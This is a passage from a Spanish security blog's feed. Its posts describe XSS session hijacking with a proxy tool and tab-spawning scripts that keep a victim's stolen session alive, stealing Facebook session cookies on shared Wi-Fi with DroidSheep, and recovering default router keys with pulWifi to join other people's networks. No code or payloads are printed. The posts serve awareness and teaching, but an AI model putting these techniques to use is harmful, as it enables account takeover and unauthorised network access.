Una vez hecho esto, en la consola de sotf veríamos las sesiones de las víctimas que han pinchado en el enlace con la inyección y desde la misma consola podríamos elegir la que queremos suplantar. Al estar pasando por el proxy, es éste el que se encarga de sustituir nuestra cookie por la de la víctima, haciendo que el proceso de suplantación sea bastante transparente.&lt;br /&gt;
&lt;br /&gt;
Lo mejor creo que es que la veáis en acción:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;iframe allowfullscreen=&#39;allowfullscreen&#39; webkitallowfullscreen=&#39;webkitallowfullscreen&#39; mozallowfullscreen=&#39;mozallowfullscreen&#39; width=&#39;320&#39; height=&#39;266&#39; src=&#39;https://www.youtube.com/embed/hoRNgQ88nWA?feature=player_embedded&#39; frameborder=&#39;0&#39;&gt;&lt;/iframe&gt;&lt;/div&gt;
&lt;br /&gt;
Lógicamente, la sesión tan sólo se mostrará en la consola de sotf mientras dure la inyección en la víctima. Es decir, que si el usuario &quot;infectado&quot; pulsa sobre cualquier enlace de la página y se sale de la URL maliciosa, dejaríamos de tener el control a través de sotf. Ésta es precisamente la diferencia entre los dos scripts. El que se llama &quot;e1.js&quot; no hace nada para resolver esto, por lo que es muy posible que la sesión nos dure poco. Sin embargo, &quot;e2.js&quot; hace que pulse donde pulse el usuario, abra una nueva pestaña en el navegador pasando el foco a esta pestaña y dejando la &quot;infectada&quot; en segundo plano. Con un poco (bastante en realidad) de suerte, el usuario no notará nada y permitiría mantener la sesión durante más tiempo.&lt;br /&gt;
&lt;br /&gt;
Si probáis a jugar con la herramienta, veréis que tiene muchas deficiencias. No obstante, considero que es una herramienta interesante y, desde mi punto de vista, creo que puede ser útil para hacer presentaciones sobre lo que se puede llegar a hacer por medio de la explotación de un Cross Site Scripting.&lt;br /&gt;
&lt;br /&gt;
Hasta aquí esta primera entrada, en la que os he presentado en qué consisten los ataques del lado del cliente con un ejemplo. A partir de la próxima entrada de la serie veremos cómo sacar más partido a este tipo de técnica tratando, además, de pasar desapercibidos.&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='text/html' href='http://laxmarcaellugar.blogspot.com/2012/01/client-side-attacks-i-introduccion.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5126521867667260192/posts/default/7133425711918868566'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5126521867667260192/posts/default/7133425711918868566'/><link rel='alternate' type='text/html' href='http://laxmarcaellugar.blogspot.com/2012/01/client-side-attacks-i-introduccion.html' title='Client Side Attacks (I): Introducción'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/18156762137537807567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHDTigPncxjKx4yBfh128NKaew4jKyq0p49UbCEGCOpN8JWrk8GKdv042oEIQz-OAhqCmKIG6EgUAecA0hVrlYUglvjG1no12fsY7dQzzOUv5tgN-5IZsDcLXmtuj7UE2Wlh81kgnHVBRl/s72-c/01+XSS.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5126521867667260192.post-3477002641934756700</id><published>2012-01-09T23:32:00.002+01:00</published><updated>2012-01-16T12:05:01.811+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Seguridad Web"/><title type='text'>Crackeando un Hash Cracker (Contribución)</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihJ14XW0_PwqxLC6ehws_KDYCDzfg8HXfpE4C3hJMLdfbiPkvVUe9z_jG5jZDVYzoDd1T6eZzIJNm4TXmw2_ecT0XnOHPHlcmqQ1IDYq0BjUnqeMB0io84ojd9M2LZHKpDa_6sYDAewoSn/s150/logo.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihJ14XW0_PwqxLC6ehws_KDYCDzfg8HXfpE4C3hJMLdfbiPkvVUe9z_jG5jZDVYzoDd1T6eZzIJNm4TXmw2_ecT0XnOHPHlcmqQ1IDYq0BjUnqeMB0io84ojd9M2LZHKpDa_6sYDAewoSn/s150/logo.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Los que sigáis a &lt;a href=&quot;https://twitter.com/#!/JoseSelvi&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;José Selvi&lt;/b&gt;&lt;/a&gt; en su blog &quot;&lt;a href=&quot;http://www.pentester.es/&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;Pentester.es&lt;/b&gt;&lt;/a&gt;&quot;, habréis comprobado que he comenzado el año con una colaboración que vamos a publicar en varias entradas.&lt;br /&gt;
&lt;br /&gt;
Tanto en &lt;a href=&quot;http://www.pentester.es/2012/01/crackeando-un-hash-cracker-i-xss-con.html&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;esta primera entrada&lt;/b&gt;&lt;/a&gt; como en las siguientes, trataré diferentes tipos de vulnerabilidades web con el objetivo de que veáis lo peligroso que puede llegar a ser cometer fallos de programación que permitan realizar inyecciones de código.&lt;br /&gt;
&lt;br /&gt;
La primera vulnerabilidad de la que hablo es un &lt;b&gt;Cross Site Scripting&lt;/b&gt; bastante &quot;curioso&quot; pero que es totalmente explotable y, como tal, debe ser evitado:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;a href=&quot;http://www.pentester.es/2012/01/crackeando-un-hash-cracker-i-xss-con.html&quot; target=&quot;_blank&quot;&gt;Crackeando un Hash Cracker (I): XSS con MD5&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;a href=&quot;http://www.pentester.es/2012/01/crackeando-un-hash-cracker-ii-cmdi.html&quot; target=&quot;_blank&quot;&gt;Crackeando un Hash Cracker (II):&amp;nbsp;CMDi&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;a href=&quot;http://www.pentester.es/2012/01/crackeando-un-hash-cracker-iii-sqli-con.html&quot; target=&quot;_blank&quot;&gt;Crackeando un Hash Cracker (III):&amp;nbsp;SQLIi con MD5&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
¡Espero que os resulten interesantes!</content><link rel='replies' type='text/html' href='http://laxmarcaellugar.blogspot.com/2012/01/crackeando-un-hash-cracker-contribucion.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5126521867667260192/posts/default/3477002641934756700'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5126521867667260192/posts/default/3477002641934756700'/><link rel='alternate' type='text/html' href='http://laxmarcaellugar.blogspot.com/2012/01/crackeando-un-hash-cracker-contribucion.html' title='Crackeando un Hash Cracker (Contribución)'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/18156762137537807567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihJ14XW0_PwqxLC6ehws_KDYCDzfg8HXfpE4C3hJMLdfbiPkvVUe9z_jG5jZDVYzoDd1T6eZzIJNm4TXmw2_ecT0XnOHPHlcmqQ1IDYq0BjUnqeMB0io84ojd9M2LZHKpDa_6sYDAewoSn/s72-c/logo.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5126521867667260192.post-6038219656637700416</id><published>2011-12-31T19:12:00.001+01:00</published><updated>2011-12-31T19:15:07.855+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="La X marca el lugar"/><title type='text'>¡Feliz 2012!</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://farm8.staticflickr.com/7155/6585504587_4fc6898b82.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;179&quot; src=&quot;http://farm8.staticflickr.com/7155/6585504587_4fc6898b82.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
2011 ha sido un gran año para&amp;nbsp;&lt;b&gt;La X marca el lugar&lt;/b&gt;. Ha sido el año en el que nació este proyecto y hemos conseguido hacernos un pequeño hueco en la Blogosfera.&lt;br /&gt;
&lt;br /&gt;
A lo largo de estos meses hemos intentado compartir con vosotros nuestras experiencia y opinión, las noticias que hemos considerado más interesantes y algunas herramientas que hemos ido desarrollando.&lt;br /&gt;
&lt;br /&gt;
Las siguientes son las cinco entradas más leídas de este año:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://laxmarcaellugar.blogspot.com/2011/09/dvwa-findmyhash-poc.html&quot; target=&quot;_blank&quot;&gt;DVWA + findmyhash - PoC&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://laxmarcaellugar.blogspot.com/2011/11/tapjacking-un-juego-peligroso-en.html&quot; target=&quot;_blank&quot;&gt;TapJacking, un juego peligroso en Android&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://laxmarcaellugar.blogspot.com/2011/11/jugando-con-la-wi-fi-desde-android-i.html&quot; target=&quot;_blank&quot;&gt;Jugando con la Wi-Fi desde Android&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://laxmarcaellugar.blogspot.com/2011/09/dvwa-sqli-nivel-low-ii.html&quot; target=&quot;_blank&quot;&gt;DVWA - SQLi nivel low&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://laxmarcaellugar.blogspot.com/2011/03/firesheep-bajo-linux.html&quot; target=&quot;_blank&quot;&gt;Firesheep bajo Linux&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
Con contenido como éste conseguimos colocarnos en un prometedor 15º puesto como &lt;a href=&quot;http://blogs.lainformacion.com/premiosbitacoras/2011/11/02/finalistas-mejor-blog-sobre-seguridad-informatica-2/&quot; target=&quot;_blank&quot;&gt;Mejor Blog sobre Seguridad Informática en los Premios Bitácora 2011&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
Ahora nos toca hacer los propósitos para el nuevo año, entre los que está&amp;nbsp;seguir mejorando con la ayuda de todos vosotros para ofrecer un contenido más interesante. Para ello ya estamos colaborando en diferentes proyectos que os iremos presentando poco a poco.&lt;br /&gt;
&lt;br /&gt;
En resumen...&lt;br /&gt;
&lt;br /&gt;
¡Muchas gracias a todos por confiar en&amp;nbsp;&lt;b&gt;La X marca el lugar&lt;/b&gt;&amp;nbsp;y que tengáis un &lt;b&gt;Feliz Año 2012&lt;/b&gt;!&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='text/html' href='http://laxmarcaellugar.blogspot.com/2011/12/feliz-2012.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5126521867667260192/posts/default/6038219656637700416'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5126521867667260192/posts/default/6038219656637700416'/><link rel='alternate' type='text/html' href='http://laxmarcaellugar.blogspot.com/2011/12/feliz-2012.html' title='¡Feliz 2012!'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/18156762137537807567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5126521867667260192.post-7819501342832373137</id><published>2011-11-24T12:30:00.001+01:00</published><updated>2011-11-24T13:33:16.822+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="android"/><category scheme="http://www.blogger.com/atom/ns#" term="DroidSheep"/><category scheme="http://www.blogger.com/atom/ns#" term="Herramientas"/><category scheme="http://www.blogger.com/atom/ns#" term="Wi-Fi"/><title type='text'>Jugando con la Wi-Fi desde Android (II)</title><content type='html'>En la &lt;a href=&quot;http://laxmarcaellugar.blogspot.com/2011/11/jugando-con-la-wi-fi-desde-android-i.html&quot; target=&quot;_blank&quot;&gt;entrada anterior&lt;/a&gt; estuvimos viendo cómo la configuración de fábrica de los routers que venden los ISP españoles no tiene nada de segura. En esta entrada os vamos a mostrar, desde un punto de vista práctico, lo importante que es el uso de canales cifrados cuando estemos trabajando con datos confidenciales o sensibles.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://netifera.com/research/beast/&quot; target=&quot;_blank&quot;&gt;B.E.A.S.T&lt;/a&gt; hizo que nos empezáramos a plantear la seguridad del uso de canales cifrados por medio de SSL y TLS, aunque la realidad es que para su explotación en la práctica hacen falta una serie de requisitos que lo hacen relativamente complejo. Además, la vulnerabilidad publicada que explota B.E.A.S.T. tan sólo afecta a &lt;a href=&quot;http://es.wikipedia.org/wiki/Cifrado_por_bloques&quot; target=&quot;_blank&quot;&gt;algoritmos de cifrado por bloques&lt;/a&gt;, por lo que bastaría con definir el conjunto de algoritmos soportados por el servidor a únicamente los &lt;a href=&quot;http://en.wikipedia.org/wiki/Stream_cipher&quot; target=&quot;_blank&quot;&gt;algoritmos de cifrado por flujo&lt;/a&gt; que soportan tanto &lt;a href=&quot;http://www.freesoft.org/CIE/Topics/ssl-draft/4-APPN.HTM#A-6&quot; target=&quot;_blank&quot;&gt;SSL&lt;/a&gt; como &lt;a href=&quot;http://tools.ietf.org/html/rfc2246&quot; target=&quot;_blank&quot;&gt;TLS&lt;/a&gt; (versión 1).&lt;br /&gt;
&lt;br /&gt;
Dejando a parte el tema de B.E.A.S.T., la realidad es que a día de hoy el uso de SSL y TLS es una necesidad básica en Internet. Gracias a estos protocolos podemos confiar que transacciones bancarias, acceso a datos personales o confidenciales, conexiones a servidores que almacenan información sensible... son &quot;seguras&quot;.&lt;br /&gt;
&lt;br /&gt;
No obstante, aunque ya todos los bancos y la mayoría de comercios electrónicos implementan estos protocolos para realizar las transacciones comerciales, existen multitud de sitios web que todavía no los utilizan o dan a elegir al usuario. De los que usamos a diario yo destacaría algunas redes sociales como Facebook, Twitter o tuenti.&lt;br /&gt;
&lt;br /&gt;
Teniendo en cuenta que en estas redes sociales tendemos a publicar toda nuestra vida &quot;con pelos y señales&quot;, el hecho de que alguien pudiera entrar en nuestra cuenta para hacerse pasar por nosotros, además de un delito podría significar un DESASTRE en nuestra vida social (en la de unos más que en la de otros...).&lt;br /&gt;
&lt;br /&gt;
Lo que vengo a decir es que muy pocos usuarios están concienciados de lo importante que es marcar la casilla &quot;&lt;b&gt;Activar navegación segura&lt;/b&gt;&quot; una vez que hemos creado nuestros perfiles en estos servicios. Y si tenemos en cuenta lo fácil que nos resultó acceder a la red del amigo que no nos quería dar la clave de su Wi-Fi en la entrada anterior, el robo de sesiones de alguno de estos servicios es igual de trivial y tan sólo nos llevará un par de minutos.&lt;br /&gt;
&lt;br /&gt;
En el siguiente vídeo vamos a ver cómo utilizando la herramienta para Android &lt;a href=&quot;http://droidsheep.de/&quot; target=&quot;_blank&quot;&gt;DroidSheep&lt;/a&gt;, tardamos menos de un par de minutos en robar la sesión de un usuario de Facebook &lt;b&gt;que está conectado a la misma red Wi-Fi que nosotros&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
Para los que no conocen la herramienta, os la comento un poco por encima antes de que veáis lo fácil que es utilizarla. Lo que hace es ejecutar un &lt;a href=&quot;http://en.wikipedia.org/wiki/ARP_spoofing&quot; target=&quot;_blank&quot;&gt;ARP Spoofing&lt;/a&gt; para interponerse entre la puerta de enlace (el router) y los usuarios de una Wi-Fi, es decir, un &lt;a href=&quot;http://en.wikipedia.org/wiki/Man-in-the-middle_attack&quot; target=&quot;_blank&quot;&gt;ataque MitM&lt;/a&gt;. A partir de ese momento, comienza a capturar todo el tráfico rescatando cookies de sesión en servicios conocidos (y no conocidos) que va mostrando por pantalla conforme las va analizando. Después proporciona diferentes opciones para enviar la cookie a una cuenta de correo electrónico o, directamente, acceder a la cuenta capturada desde el navegador del móvil.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;iframe allowfullscreen=&#39;allowfullscreen&#39; webkitallowfullscreen=&#39;webkitallowfullscreen&#39; mozallowfullscreen=&#39;mozallowfullscreen&#39; width=&#39;320&#39; height=&#39;266&#39; src=&#39;https://www.youtube.com/embed/yxy4VtKXXtU?feature=player_embedded&#39; frameborder=&#39;0&#39;&gt;&lt;/iframe&gt;&lt;/div&gt;
&lt;br /&gt;
Conozco a más de una persona que se configuró la navegación segura después de que le enseñara lo que podía hacer desde el móvil... Espero que esta entrada sirva para concienciar a más usuarios de lo importante que es fijarnos en que las páginas en las que introducimos nuestros datos comienzan por &lt;b&gt;https&lt;/b&gt;&amp;nbsp;en lugar de por http.&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
Entradas anteriores:&lt;br /&gt;
&lt;a href=&quot;http://laxmarcaellugar.blogspot.com/2011/11/jugando-con-la-wi-fi-desde-android-i.html&quot; target=&quot;_blank&quot;&gt;Jugando con la Wi-Fi desde Android (I)&lt;/a&gt;&amp;nbsp;&lt;/blockquote&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
Otras entradas relacionadas:&lt;br /&gt;
&lt;a href=&quot;http://laxmarcaellugar.blogspot.com/2011/03/firesheep-bajo-linux.html&quot; target=&quot;_blank&quot;&gt;Firesheep bajo Linux&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://laxmarcaellugar.blogspot.com/2011/04/firesheep-vs-firesheperd.html&quot; target=&quot;_blank&quot;&gt;FireSheep vs FireSheperd&lt;/a&gt;&lt;/blockquote&gt;</content><link rel='replies' type='text/html' href='http://laxmarcaellugar.blogspot.com/2011/11/jugando-con-la-wi-fi-desde-android-ii.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5126521867667260192/posts/default/7819501342832373137'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5126521867667260192/posts/default/7819501342832373137'/><link rel='alternate' type='text/html' href='http://laxmarcaellugar.blogspot.com/2011/11/jugando-con-la-wi-fi-desde-android-ii.html' title='Jugando con la Wi-Fi desde Android (II)'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/18156762137537807567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5126521867667260192.post-1144727999452457019</id><published>2011-11-14T07:30:00.000+01:00</published><updated>2011-11-14T10:02:33.578+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="android"/><category scheme="http://www.blogger.com/atom/ns#" term="Herramientas"/><category scheme="http://www.blogger.com/atom/ns#" term="Wi-Fi"/><title type='text'>Jugando con la Wi-Fi desde Android (I)</title><content type='html'>Las nuevas tecnologías han conseguido que prácticamente todos llevemos en el bolsillo un teléfono que sea más potente que los ordenadores de hace unos pocos años. Además de la potencia de cálculo, los nuevos &lt;i&gt;smartphones&lt;/i&gt; nos permiten transmitir información por medio de diversas tecnologías.&lt;br /&gt;
&lt;br /&gt;
En esta serie de entradas, voy a hablaros de algunas cosas básicas que podemos hacer con nuestro teléfono Android a través de Wi-Fi y sin apenas esfuerzo.&lt;br /&gt;
&lt;br /&gt;
Lo primero de todo es conectarnos a una red. Pero si estamos en la calle o en casa de alguien que no nos quiera decir su clave de la Wi-Fi porque no se fíe de nosotros... podríamos tener un problema. Por suerte, los ISPs españoles distribuyen routers Wi-Fi con contraseñas por defecto y que son fácilmente predecibles conociendo el &lt;a href=&quot;http://en.wikipedia.org/wiki/Service_set_(802.11_network)#Basic_service_set_identification_.28BSSID.29&quot; target=&quot;_blank&quot;&gt;BSSID&lt;/a&gt; (MAC del punto de acceso) y el &lt;a href=&quot;http://en.wikipedia.org/wiki/ESSID&quot; target=&quot;_blank&quot;&gt;ESSID&lt;/a&gt; de la red (el nombre).&lt;br /&gt;
&lt;br /&gt;
Para obtener la clave de alguno de los puntos de acceso que nos rodean, podemos utilizar muchas herramientas. Yo voy a pasar a describir las que, por uno u otro motivo, a mí más me gustan...&lt;br /&gt;
&lt;br /&gt;
La primera de ellas es &lt;a href=&quot;https://market.android.com/details?id=es.pulimento.wifi&quot; style=&quot;font-weight: bold;&quot; target=&quot;_blank&quot;&gt;pulWifi&lt;/a&gt;, cuya pantalla principal tiene el siguiente aspecto:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgG4n3szAvlDHT1nDBLloYFvfcbJ_Cq_NU7dNBHCxdWCW-JWuSFRlJfpFdcVR88sIa8_povEmSR85Kbx-jUpqpZz7BkkgKZ_UaC8Kom3eH8lyjD98WfaVrjXSwWHM0S2ep4rKnes3DWbJIG/s1600/01+ppal+pulwifi_MOD.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgG4n3szAvlDHT1nDBLloYFvfcbJ_Cq_NU7dNBHCxdWCW-JWuSFRlJfpFdcVR88sIa8_povEmSR85Kbx-jUpqpZz7BkkgKZ_UaC8Kom3eH8lyjD98WfaVrjXSwWHM0S2ep4rKnes3DWbJIG/s320/01+ppal+pulwifi_MOD.jpg&quot; width=&quot;192&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Como vemos la aplicación, divide las redes que detecta en dos colores: verde, que se corresponde con aquellas redes que están abiertas o de las que podemos obtener la clave fácilmente; y rojo, las redes de las que no puede recuperar la clave. También nos indica con un diagrama la potencia de la señal para que sepamos a cuál nos interesa más conectarnos.&lt;br /&gt;
&lt;br /&gt;
Si pulsamos sobre cualquiera de las redes de las que queremos recuperar la clave nos aparece la siguiente ventana. En ella nos da la opción de ver cuál es la clave (útil si necesitas copiarla en algún lado) y de copiarla directamente en el portapapeles.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;table border=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiewlV9OaaLgvrAwCz6qei7itjostUrCmiW5Q1KkEE0hyphenhyphenHunA29lKDwRTVIDOINXWtPJYSLH6A9l4QFZFImMeiehJNdlkG9r0juPsBIzQSkPdezQTnFJrH_oVf6hk-dSL5kDaCpOKS4Mg0k/s1600/02+Red+Seleccionada+PulWifi_MOD.jpeg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiewlV9OaaLgvrAwCz6qei7itjostUrCmiW5Q1KkEE0hyphenhyphenHunA29lKDwRTVIDOINXWtPJYSLH6A9l4QFZFImMeiehJNdlkG9r0juPsBIzQSkPdezQTnFJrH_oVf6hk-dSL5kDaCpOKS4Mg0k/s320/02+Red+Seleccionada+PulWifi_MOD.jpeg&quot; width=&quot;192&quot; /&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgy-rT-FTfRrOOpcn9sj8C0uW57uus-1HzITDzCkylRWCzG4hhcchEdSGqhmi3XHvlcqN5RNkTwlPQN6av6hJnRAoMFmGKeQ-saGrpMh0nY6D6sbbe5ANA-GYVnaLFWErbpUjfOS-VUq6DB/s1600/03+Clave+PulWifi04_MOD.jpeg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgy-rT-FTfRrOOpcn9sj8C0uW57uus-1HzITDzCkylRWCzG4hhcchEdSGqhmi3XHvlcqN5RNkTwlPQN6av6hJnRAoMFmGKeQ-saGrpMh0nY6D6sbbe5ANA-GYVnaLFWErbpUjfOS-VUq6DB/s320/03+Clave+PulWifi04_MOD.jpeg&quot; width=&quot;192&quot; /&gt;&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
Si optamos por la opción de copiar la clave, nos abre directamente el panel de Ajustes Wi-Fi de Android, en donde tan sólo nos quedaría buscar cuál es la red a la que estamos intentando conectarnos y pegar la clave desde el portapapeles:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;table&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSvFj8d_RKbuImmWVrZQWg9zYz1zRWS3rBE0hIRASv6Yhi21zhaYHe8l5i7J2SvnpygRs93boScyhS7NBCVj7GpxINAVrxNK2wik_pUyoTI2oGK8CawMqof4nlXDgG98UUvfLljYL3Sgy1/s1600/04+Copiar+PulWifi06_MOD.jpeg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSvFj8d_RKbuImmWVrZQWg9zYz1zRWS3rBE0hIRASv6Yhi21zhaYHe8l5i7J2SvnpygRs93boScyhS7NBCVj7GpxINAVrxNK2wik_pUyoTI2oGK8CawMqof4nlXDgG98UUvfLljYL3Sgy1/s320/04+Copiar+PulWifi06_MOD.jpeg&quot; width=&quot;192&quot; /&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiNgsbKIFZ4hELtdmaz5skZbYLXuI2RFG8TOAgP7NsBNZGYKoZHcUTXTk8wDvAjKn5JlJfAP3sImJVkb3DlMd3bBqIcAKT1_Tw_9FSk8rZN0EJjAQc0dpqU5kDoz4hqnkVQL9qM2ze5K69/s1600/06+Pegando+clave+PulWifi09_MOD.jpeg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiNgsbKIFZ4hELtdmaz5skZbYLXuI2RFG8TOAgP7NsBNZGYKoZHcUTXTk8wDvAjKn5JlJfAP3sImJVkb3DlMd3bBqIcAKT1_Tw_9FSk8rZN0EJjAQc0dpqU5kDoz4hqnkVQL9qM2ze5K69/s320/06+Pegando+clave+PulWifi09_MOD.jpeg&quot; width=&quot;192&quot; /&gt;&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
Cuando le demos tiempo para que se autentique comprobaremos que nos hemos conectado sin ningún problema:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEINT3lZ7omhLbjCtgYp9y2tg82bi2YPKOS3v2iR2jWHN4M0nv14oI1KlugDc60E7AtPpp7CyHvigYm-_jn0BHnTibF65bqrXOK4SahSOcs_2_r9QiH9H4Mk-q6wwAWdGHRrPxyYAfCxy7/s1600/07+Conectada+PulWifi10_MOD.jpeg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEINT3lZ7omhLbjCtgYp9y2tg82bi2YPKOS3v2iR2jWHN4M0nv14oI1KlugDc60E7AtPpp7CyHvigYm-_jn0BHnTibF65bqrXOK4SahSOcs_2_r9QiH9H4Mk-q6wwAWdGHRrPxyYAfCxy7/s320/07+Conectada+PulWifi10_MOD.jpeg&quot; width=&quot;192&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Dependiendo del tipo de red que sea, es posible que no nos indique una sola clave sino un repertorio de las posibles (suelen ser 10). En este caso tendremos que ir probando con cada una de ellas hasta que demos con la correcta.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
